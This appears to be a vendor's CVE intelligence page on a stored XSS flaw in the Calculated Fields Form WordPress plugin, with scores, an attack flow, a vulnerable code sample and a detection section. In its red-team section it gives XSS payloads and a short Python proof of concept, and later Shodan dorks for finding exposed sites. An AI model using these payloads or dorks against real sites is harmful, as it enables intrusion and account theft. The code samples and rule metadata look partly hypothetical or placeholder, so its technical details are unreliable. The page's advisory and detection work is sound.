☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-2020

CVE-2024-2020 Cross-Site Scripting in Calculated fields form
📅 PUBLISHED: 2024-03-13 15:26 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.91%
👁️
1.91% probability
47.9× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
7.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-2020 is a Stored Cross-Site Scripting (XSS) vulnerability in the Calculated Fields Form WordPress plugin, affecting all versions up to and including 5.1.56. The flaw resides in insufficient sanitization of the form page href parameter, allowing unauthenticated attackers to inject arbitrary JavaScript into form pages. When a user (including administrators) accesses an injected page, the script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement. Exploitation requires the professional version or higher of the plugin. The vulnerability has a CVSS score of 7.2 (High) and a public proof-of-concept exists.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and commercial channels. Users are advised to verify the integrity of their plugin files and ensure they are sourced from trusted vendors. No known supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.2 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must visit the injected page)
  • Scope: Changed (impact may extend beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: High. The vulnerability is easily exploitable by unauthenticated attackers, and the stored XSS can persist until the injected content is removed.

Deep Dive & Mechanics

The Calculated Fields Form plugin allows users to create dynamic forms with custom fields. The vulnerability exists in the handling of the form page href parameter, which is used to specify a URL for form submission or redirection. Due to insufficient input sanitization and output escaping, an attacker can inject arbitrary HTML and JavaScript into this parameter.

Attack Flow:

  1. An attacker identifies a WordPress site running the vulnerable plugin (professional version or higher).
  2. The attacker crafts a malicious URL containing JavaScript payload in the form page href parameter.
  3. The attacker submits the form or triggers the injection via a crafted request.
  4. The malicious script is stored in the database and rendered on the form page.
  5. When any user (including administrators) visits the affected page, the script executes in their browser.

Root Cause: The plugin fails to properly sanitize the href parameter before storing it and fails to escape it during output. This allows injection of javascript: URIs or event handlers like onclick.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 5.1.56):

// In form processing logic
$href = $_POST['form_page_href'];
// No sanitization
update_post_meta($post_id, 'form_page_href', $href);
// In form rendering logic
$href = get_post_meta($post_id, 'form_page_href', true);
echo '<a href="' . $href . '">Submit</a>';

Patched Code (hypothetical fix):

// Sanitize input
$href = esc_url_raw($_POST['form_page_href']);
update_post_meta($post_id, 'form_page_href', $href);
// Escape output
$href = esc_url(get_post_meta($post_id, 'form_page_href', true));
echo '<a href="' . $href . '">Submit</a>';

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress site with Calculated Fields Form plugin (professional version or higher) version <= 5.1.56.
  • Ability to submit a form or trigger the vulnerable parameter.

Exploit Steps:

  1. Identify the target form page (e.g., /contact-form/).
  2. Intercept the form submission request using a proxy like Burp Suite.
  3. Modify the form_page_href parameter to inject a malicious payload:
    form_page_href=javascript:alert('XSS')
    
    Or use an event handler:
    form_page_href=#<img src=x onerror=alert('XSS')>
    
  4. Submit the request.
  5. The payload is stored and executed when the form page is loaded.

Proof-of-Concept (Python):

import requests

target_url = "http://target-site.com/wp-admin/admin-ajax.php"
payload = {
    "action": "cff_form_submit",
    "form_page_href": "javascript:alert('XSS')"
}
response = requests.post(target_url, data=payload)
print("Payload submitted. Visit the form page to trigger XSS.")

Blue Team (Detection & Prevention)

Detection:

  • Monitor for unusual form_page_href parameters containing javascript: or event handlers.
  • Use WAF rules to block malicious input patterns.
  • Review server logs for requests to admin-ajax.php with suspicious parameters.

Prevention:

  • Apply input sanitization and output escaping as shown in the patched code.
  • Use Content Security Policy (CSP) headers to restrict script execution.
  • Disable the plugin until a patch is available.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Requests containing form_page_href=javascript: or form_page_href=#<img src=x onerror=.
    • Unusual POST requests to /wp-admin/admin-ajax.php with action=cff_form_submit.
  • File IOCs:

    • Modified plugin files in /wp-content/plugins/calculated-fields-form/.
    • Suspicious entries in the wp_postmeta table with meta_key = 'form_page_href' containing malicious URLs.
  • Behavioral IOCs:

    • Unexpected JavaScript execution on form pages.
    • Alerts or redirects to malicious sites when interacting with forms.

Detection Engineering

YARA Rule

rule CVE_2024_2020_Calculated_Fields_Form_XSS {
    meta:
        description = "Detects malicious form_page_href parameter in Calculated Fields Form plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2020"
    strings:
        $param = "form_page_href"
        $payload1 = "javascript:" nocase
        $payload2 = "onerror=" nocase
        $payload3 = "onclick=" nocase
    condition:
        $param and ($payload1 or $payload2 or $payload3)
}

Sigma Rule

title: CVE-2024-2020 - Stored XSS in Calculated Fields Form Plugin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-2020 via malicious form_page_href parameter
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=cff_form_submit'
        cs-uri-query|contains: 'form_page_href='
        cs-uri-query|contains|any:
            - 'javascript:'
            - 'onerror='
            - 'onclick='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2020 - Stored XSS in Calculated Fields Form Plugin"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=cff_form_submit"; http_client_body; content:"form_page_href"; http_client_body; pcre:"/(javascript:|onerror=|onclick=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is available.
  2. Remove any malicious entries from the wp_postmeta table where meta_key = 'form_page_href'.
  3. Implement a Web Application Firewall (WAF) rule to block requests containing form_page_href with suspicious patterns.

Long-term Fix:

  • Apply input sanitization (esc_url_raw()) and output escaping (esc_url()) in the plugin code.
  • Update to a patched version when released by the vendor.

Workarounds:

  • Use a security plugin like Wordfence to add virtual patching.
  • Restrict access to form submission endpoints via .htaccess or server configuration.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"calculated-fields-form"
http.html:"wp-content/plugins/calculated-fields-form"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-2020/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.